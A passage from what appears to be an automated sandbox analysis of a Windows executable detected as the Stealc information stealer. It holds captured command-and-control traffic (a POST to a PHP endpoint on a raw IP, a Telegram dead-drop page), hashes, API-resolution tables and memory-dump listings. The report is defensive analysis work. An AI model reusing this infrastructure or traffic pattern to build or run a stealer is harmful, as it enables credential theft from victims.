Oct 3, 2024 23:17:42.222243071 CEST	473	OUT	POST /383ccd496f3c5eee.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGIJECGDGCBKECAKFBGC Host: 193.233.112.44 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 32 61 38 31 66 31 61 66 62 32 31 38 63 61 37 65 65 36 38 64 36 33 36 65 39 66 33 32 33 39 61 35 61 38 33 66 30 38 35 32 62 64 64 66 36 66 32 65 32 65 31 62 62 37 61 63 34 30 65 30 34 65 63 31 35 62 61 32 33 65 35 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 2d 2d 0d 0a Data Ascii: ------DGIJECGDGCBKECAKFBGCContent-Disposition: form-data; name="token"f2a81f1afb218ca7ee68d636e9f3239a5a83f0852bddf6f2e2e1bb7ac40e04ec15ba23e5------DGIJECGDGCBKECAKFBGCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DGIJECGDGCBKECAKFBGC--
Oct 3, 2024 23:17:42.604228973 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 03 Oct 2024 21:17:42 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	149.154.167.99	443	1220	C:\Users\user\Desktop\NJna3TEAEr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 21:16:56 UTC	91	OUT	GET /hwlflcqshvwp HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-10-03 21:16:57 UTC	511	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 03 Oct 2024 21:16:57 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12415 Connection: close Set-Cookie: stel_ssid=6d471bfa974a08cce3_5342944924407727622; expires=Fri, 04 Oct 2024 21:16:57 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-10-03 21:16:57 UTC	12415	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 68 77 6c 66 6c 63 71 73 68 76 77 70 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @hwlflcqshvwp</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.

Target ID:	0
Start time:	17:16:55
Start date:	03/10/2024
Path:	C:\Users\user\Desktop\NJna3TEAEr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\NJna3TEAEr.exe"
Imagebase:	0x2e0000
File size:	330'408 bytes
MD5 hash:	C57F035E099BFE7F8D56917A22266DC9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000000.2009593199.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2478224507.000000000164E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	40

Executed Functions

Function 002F9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,0165B9B8), ref: 002F9C2D
GetProcAddress.KERNEL32(75900000,0165BA58), ref: 002F9C45
GetProcAddress.KERNEL32(75900000,01653E28), ref: 002F9C5E
GetProcAddress.KERNEL32(75900000,01653DE0), ref: 002F9C76
GetProcAddress.KERNEL32(75900000,01653E10), ref: 002F9C8E
GetProcAddress.KERNEL32(75900000,01653DF8), ref: 002F9CA7
GetProcAddress.KERNEL32(75900000,0165A4E0), ref: 002F9CBF
GetProcAddress.KERNEL32(75900000,01653E40), ref: 002F9CD7
GetProcAddress.KERNEL32(75900000,01653E58), ref: 002F9CF0
GetProcAddress.KERNEL32(75900000,01653E70), ref: 002F9D08
GetProcAddress.KERNEL32(75900000,01653E88), ref: 002F9D20
GetProcAddress.KERNEL32(75900000,0165BC98), ref: 002F9D39
GetProcAddress.KERNEL32(75900000,0165BA78), ref: 002F9D51
GetProcAddress.KERNEL32(75900000,0165BAB8), ref: 002F9D69
GetProcAddress.KERNEL32(75900000,0165BB58), ref: 002F9D82
GetProcAddress.KERNEL32(75900000,01653DC8), ref: 002F9D9A
GetProcAddress.KERNEL32(75900000,0165F8E0), ref: 002F9DB2
GetProcAddress.KERNEL32(75900000,0165A170), ref: 002F9DCB
GetProcAddress.KERNEL32(75900000,0165BCB8), ref: 002F9DE3
GetProcAddress.KERNEL32(75900000,0165FB80), ref: 002F9DFB
GetProcAddress.KERNEL32(75900000,0165FB20), ref: 002F9E14
GetProcAddress.KERNEL32(75900000,0165FB38), ref: 002F9E2C
GetProcAddress.KERNEL32(75900000,0165F9B8), ref: 002F9E44
GetProcAddress.KERNEL32(75900000,0165BB78), ref: 002F9E5D
GetProcAddress.KERNEL32(75900000,0165F940), ref: 002F9E75
GetProcAddress.KERNEL32(75900000,0165F928), ref: 002F9E8D
GetProcAddress.KERNEL32(75900000,0165FB50), ref: 002F9EA6
GetProcAddress.KERNEL32(75900000,0165F9E8), ref: 002F9EBE
GetProcAddress.KERNEL32(75900000,0165F958), ref: 002F9ED6
GetProcAddress.KERNEL32(75900000,0165F8F8), ref: 002F9EEF
GetProcAddress.KERNEL32(75900000,0165F970), ref: 002F9F07
GetProcAddress.KERNEL32(75900000,0165FA48), ref: 002F9F1F
GetProcAddress.KERNEL32(75900000,0165FA18), ref: 002F9F38
GetProcAddress.KERNEL32(75900000,01654BB8), ref: 002F9F50
GetProcAddress.KERNEL32(75900000,0165FA00), ref: 002F9F68
GetProcAddress.KERNEL32(75900000,0165F988), ref: 002F9F81
GetProcAddress.KERNEL32(75900000,0165BBD8), ref: 002F9F99
GetProcAddress.KERNEL32(75900000,0165FA30), ref: 002F9FB1
GetProcAddress.KERNEL32(75900000,0165BCD8), ref: 002F9FCA
GetProcAddress.KERNEL32(75900000,0165FB98), ref: 002F9FE2
GetProcAddress.KERNEL32(75900000,0165F9A0), ref: 002F9FFA
GetProcAddress.KERNEL32(75900000,0165B858), ref: 002FA013
GetProcAddress.KERNEL32(75900000,0165B618), ref: 002FA02B
LoadLibraryA.KERNEL32(0165FA60,?,002F5CA3,?,00000034,00000064,002F6600,?,0000002C,00000064,002F65A0,?,00000030,00000064,Function_00015AD0,?), ref: 002FA03D
LoadLibraryA.KERNEL32(0165FAA8,?,002F5CA3,?,00000034,00000064,002F6600,?,0000002C,00000064,002F65A0,?,00000030,00000064,Function_00015AD0,?), ref: 002FA04E
LoadLibraryA.KERNEL32(0165FB68,?,002F5CA3,?,00000034,00000064,002F6600,?,0000002C,00000064,002F65A0,?,00000030,00000064,Function_00015AD0,?), ref: 002FA060
LoadLibraryA.KERNEL32(0165F9D0,?,002F5CA3,?,00000034,00000064,002F6600,?,0000002C,00000064,002F65A0,?,00000030,00000064,Function_00015AD0,?), ref: 002FA072
LoadLibraryA.KERNEL32(0165FA78,?,002F5CA3,?,00000034,00000064,002F6600,?,0000002C,00000064,002F65A0,?,00000030,00000064,Function_00015AD0,?), ref: 002FA083
LoadLibraryA.KERNEL32(0165F910,?,002F5CA3,?,00000034,00000064,002F6600,?,0000002C,00000064,002F65A0,?,00000030,00000064,Function_00015AD0,?), ref: 002FA095
LoadLibraryA.KERNEL32(0165F8C8,?,002F5CA3,?,00000034,00000064,002F6600,?,0000002C,00000064,002F65A0,?,00000030,00000064,Function_00015AD0,?), ref: 002FA0A7
LoadLibraryA.KERNEL32(0165FA90,?,002F5CA3,?,00000034,00000064,002F6600,?,0000002C,00000064,002F65A0,?,00000030,00000064,Function_00015AD0,?), ref: 002FA0B8
GetProcAddress.KERNEL32(75FD0000,0165B938), ref: 002FA0DA
GetProcAddress.KERNEL32(75FD0000,0165FBB0), ref: 002FA0F2
GetProcAddress.KERNEL32(75FD0000,0165D7C0), ref: 002FA10A
GetProcAddress.KERNEL32(75FD0000,0165FAC0), ref: 002FA123
GetProcAddress.KERNEL32(75FD0000,0165B958), ref: 002FA13B
GetProcAddress.KERNEL32(73B40000,0165A418), ref: 002FA160
GetProcAddress.KERNEL32(73B40000,0165B638), ref: 002FA179
GetProcAddress.KERNEL32(73B40000,0165A198), ref: 002FA191
GetProcAddress.KERNEL32(73B40000,0165FAD8), ref: 002FA1A9
GetProcAddress.KERNEL32(73B40000,0165FAF0), ref: 002FA1C2
GetProcAddress.KERNEL32(73B40000,0165B5D8), ref: 002FA1DA
GetProcAddress.KERNEL32(73B40000,0165B898), ref: 002FA1F2
GetProcAddress.KERNEL32(73B40000,0165FB08), ref: 002FA20B
GetProcAddress.KERNEL32(763B0000,0165B8B8), ref: 002FA22C
GetProcAddress.KERNEL32(763B0000,0165B8D8), ref: 002FA244
GetProcAddress.KERNEL32(763B0000,0165FC40), ref: 002FA25D
GetProcAddress.KERNEL32(763B0000,0165FC58), ref: 002FA275
GetProcAddress.KERNEL32(763B0000,0165B838), ref: 002FA28D
GetProcAddress.KERNEL32(750F0000,0165A260), ref: 002FA2B3
GetProcAddress.KERNEL32(750F0000,0165A288), ref: 002FA2CB
GetProcAddress.KERNEL32(750F0000,0165FC10), ref: 002FA2E3
GetProcAddress.KERNEL32(750F0000,0165B718), ref: 002FA2FC
GetProcAddress.KERNEL32(750F0000,0165B6F8), ref: 002FA314
GetProcAddress.KERNEL32(750F0000,0165A3C8), ref: 002FA32C
GetProcAddress.KERNEL32(75A50000,0165FC88), ref: 002FA352
GetProcAddress.KERNEL32(75A50000,0165B6B8), ref: 002FA36A
GetProcAddress.KERNEL32(75A50000,0165D640), ref: 002FA382
GetProcAddress.KERNEL32(75A50000,0165FC28), ref: 002FA39B
GetProcAddress.KERNEL32(75A50000,0165FC70), ref: 002FA3B3
GetProcAddress.KERNEL32(75A50000,0165B8F8), ref: 002FA3CB
GetProcAddress.KERNEL32(75A50000,0165B738), ref: 002FA3E4
GetProcAddress.KERNEL32(75A50000,0165FBC8), ref: 002FA3FC
GetProcAddress.KERNEL32(75A50000,0165FBE0), ref: 002FA414
GetProcAddress.KERNEL32(75070000,0165B578), ref: 002FA436
GetProcAddress.KERNEL32(75070000,0165FBF8), ref: 002FA44E
GetProcAddress.KERNEL32(75070000,01660108), ref: 002FA466
GetProcAddress.KERNEL32(75070000,01660000), ref: 002FA47F
GetProcAddress.KERNEL32(75070000,01660240), ref: 002FA497
GetProcAddress.KERNEL32(74E50000,0165B918), ref: 002FA4B8
GetProcAddress.KERNEL32(74E50000,0165B598), ref: 002FA4D1
GetProcAddress.KERNEL32(75320000,0165B5B8), ref: 002FA4F2
GetProcAddress.KERNEL32(75320000,016602B8), ref: 002FA50A
GetProcAddress.KERNEL32(6F060000,0165B878), ref: 002FA530
GetProcAddress.KERNEL32(6F060000,0165B6D8), ref: 002FA548
GetProcAddress.KERNEL32(6F060000,0165B7D8), ref: 002FA560
GetProcAddress.KERNEL32(6F060000,016600D8), ref: 002FA579
GetProcAddress.KERNEL32(6F060000,0165B818), ref: 002FA591
GetProcAddress.KERNEL32(6F060000,0165B758), ref: 002FA5A9
GetProcAddress.KERNEL32(6F060000,0165B5F8), ref: 002FA5C2
GetProcAddress.KERNEL32(6F060000,0165B658), ref: 002FA5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 002FA5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 002FA607
GetProcAddress.KERNEL32(74E00000,01660168), ref: 002FA629
GetProcAddress.KERNEL32(74E00000,0165D6D0), ref: 002FA641
GetProcAddress.KERNEL32(74E00000,01660270), ref: 002FA659
GetProcAddress.KERNEL32(74E00000,01660078), ref: 002FA672
GetProcAddress.KERNEL32(74DF0000,0165B7F8), ref: 002FA693
GetProcAddress.KERNEL32(6E570000,016600C0), ref: 002FA6B4
GetProcAddress.KERNEL32(6E570000,0165B678), ref: 002FA6CD
GetProcAddress.KERNEL32(6E570000,01660198), ref: 002FA6E5
GetProcAddress.KERNEL32(6E570000,01660030), ref: 002FA6FD

Strings

HttpQueryInfoA, xrefs: 002FA5FC
InternetSetOptionA, xrefs: 002FA5E5

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004F6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000004FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000052A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.000000000053C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2477382170.0000000000541000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_NJna3TEAEr.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 28aa634db3a45087b6dac17e01ba8a214047dafbe709513bbfa272e9b6833160
Instruction ID: 051c6b9c27a69a5b160e6faa3404d68b5db3a5412d8aa16114d765faf613aa3b
Opcode Fuzzy Hash: 28aa634db3a45087b6dac17e01ba8a214047dafbe709513bbfa272e9b6833160
Instruction Fuzzy Hash: 416261B5500200AFC768DFA8EE8895637F9FF6E701708452AE605C3225D739A44BFF56

Function 002E45C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,002F69FB), ref: 002E45CC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,002F69FB), ref: 002E45D7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,002F69FB), ref: 002E45E2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,002F69FB), ref: 002E45ED
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,002F69FB), ref: 002E45F8
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,002F69FB), ref: 002E4607
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,002F69FB), ref: 002E460E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,002F69FB), ref: 002E461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,002F69FB), ref: 002E4627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,002F69FB), ref: 002E4632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,002F69FB), ref: 002E463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,002F69FB), ref: 002E4648
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,002F69FB), ref: 002E465C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,002F69FB), ref: 002E4667
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,002F69FB), ref: 002E4672
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,002F69FB), ref: 002E467D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,002F69FB), ref: 002E4688
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 002E46B1
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 002E46BC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 002E46C7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 002E46D2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 002E46DD
strlen.MSVCRT ref: 002E46F0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 002E4718
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 002E4723
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 002E472E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 002E4739
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 002E4744
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 002E4754
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 002E475F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 002E476A
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 002E4775
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 002E4780
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 002E479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002E466D

Memory Dump Source

Source File: 00000000.00000002.2475887826.00000000002E1000.00000080.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2475795884.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475917897.00000000002FE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2475937681.000000000030B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000032A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.00000000003EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000413000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2476006185.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
